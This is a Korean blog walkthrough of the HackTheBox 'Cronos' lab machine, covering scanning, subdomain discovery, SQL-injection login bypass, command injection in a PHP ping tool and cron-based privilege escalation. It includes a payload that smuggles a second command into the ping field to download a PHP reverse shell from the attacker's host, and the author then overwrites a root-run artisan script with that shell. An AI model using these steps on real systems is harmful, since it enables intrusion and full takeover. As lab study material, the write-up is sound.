외로운 Nova의 작업실
HackTheBox - Cronos 본문
- 환경
공격자 : 10.10.14.8
타겟 : 10.10.10.13
- 스캔
nmap -Pn -n -p- -sV -sC -v --min-rate 2000 --max-retries 4 -oA nmap 10.10.10.13
22번 80번 53번이 열려있습니다. 일단 뭐 웹서버를 방문 해보겠습니다.
그냥 기본 페이지입니다. 고부스터로 디렉토리를 돌렸는데, 아무것도 나오지 않습니다. 아무래도 가상 호스트를 사용하는 것 같습니다. 네임서버가 존재하니 nslookup으로 역 ARP를 해보겠습니다.
도메인은 cronos.htb인 것 같습니다. /etc/hosts 파일에 넣어주겠습니다.
그러면 domain name을 가지고 웹사이트를 방문해보겠습니다.
고부스터로 해당 웹페이지의 디렉토리를 돌려보았지만 쓸데없는 것만 나왔습니다. 아무래도 가상 호스트들이 몇개 더 있는 것 같습니다. 고부스터로 가상 호스트들을 찾아보았지만, 아무것도 없었습니다. 그래서 이번에는 고부스터 vhost 명령어로 cronos.htb의 가상 서브도메인들을 찾아보겠습니다.
gobuster vhost -w /usr/share/wordlists/domain/subdomain-top10million-5000.txt -u cronos.htb --append-domain
admin.cronos.htb가 있습니다. 이것도 /etc/hosts 파일에 추가해주고 방문해보겠습니다.
이제야 뭔가 침투할게 보입니다.
- 침투
취약한 패스워드 취약점이 있는지 확인하기위해 admin, password, qwer등등 여러가지 시도해보았지만 전부 틀렸습니다. sql injection만 한 다음 브루트포스 공격을하려고 생각했는데, sql injection이 통했습니다.
이제 net tool이 보입니다. 뭐 명령어를 전달해주면 php상에서 exec()함수를 이용해서 ping과 traceroute 명령어를 실행하는 것 같습니다. 그러면 ;기호를 사용해서 또 하나의 명령을 심어줄 수 있겠습니다. ;ls를 넣어보겠습니다.
잘 먹습니다. 이제 nc 명령어로 역리버스쉘을 하려고했는데 먹질 않습니다. 그래서 리버쉘 php를 심어서 php를 실행시켜야합니다.
8.8.8.8; wget http://10.10.14.8/reverse_shell.php
이제 리버스 쉘을 방문해줍니다.
그러면 쉘이 도착합니다.
- 권한 상승
sudo -l 옵션을 보겠습니다.
tty가 아니라고 안먹네요... 그러면 crontab을 보겠습니다.
쓸만한게 있네요. 분단위로 php /var/www/larabel/artisan을 실행시킵니다. 한번 이게 뭔지 보겠습니다.
#!/usr/bin/env php
<?php
/*
|--------------------------------------------------------------------------
| Register The Auto Loader
|--------------------------------------------------------------------------
|
| Composer provides a convenient, automatically generated class loader
| for our application. We just need to utilize it! We'll require it
| into the script here so that we do not have to worry about the
| loading of any our classes "manually". Feels great to relax.
|
*/
require __DIR__.'/bootstrap/autoload.php';
$app = require_once __DIR__.'/bootstrap/app.php';
/*
|--------------------------------------------------------------------------
| Run The Artisan Application
|--------------------------------------------------------------------------
|
| When we run the console application, the current CLI command will be
| executed in this console and the response sent back to a terminal
| or another output device for the developers. Here goes nothing!
|
*/
$kernel = $app->make(Illuminate\Contracts\Console\Kernel::class);
$status = $kernel->handle(
$input = new Symfony\Component\Console\Input\ArgvInput,
new Symfony\Component\Console\Output\ConsoleOutput
);
/*
|--------------------------------------------------------------------------
| Shutdown The Application
|--------------------------------------------------------------------------
|
| Once Artisan has finished running. We will fire off the shutdown events
| so that any final work may be done by the application before we shut
| down the process. This is the last thing to happen to the request.
|
*/
$kernel->terminate($input, $status);
exit($status);
php파일입니다. php 명령어로 실행시켯으니 php파일이겠죠..?ㅎㅎ 그러면 이걸 아까 다운받은 reverse_shell 내용으로 바꿔줍니다.
그러면 좀 기다리면,
리버스 쉘이 도착합니다.
- 느낀점
1. web서버를 스캔할때는 디렉토리 말고도 가상 호스트를 항상 스캔해줘야합니다. 서브도메인도 말입니다.
2. 로그인 페이지에서는 취약한 패스워드 - sql injection - 브루트 포스 순으로 접근하는게 좋을것같다는 생각이들었습니다.
3. 권한상승은 sudo -l -> cat /etc/crontab을 거친후에 없다면 다른 데이터베이스나 여러 파일을 삽질하는게 좋을 것 같다는 생각이 들었습니다.
'Server Penetesting > Hack-The-Box' 카테고리의 다른 글
HTB - Stocker (0) | 2023.05.13 |
---|---|
HTB - nineveh (0) | 2023.04.27 |
HackTheBox - Beep (0) | 2023.04.24 |
HackTheBox - nibbles (0) | 2023.04.22 |
HackTheBox - brainfuck (0) | 2023.04.21 |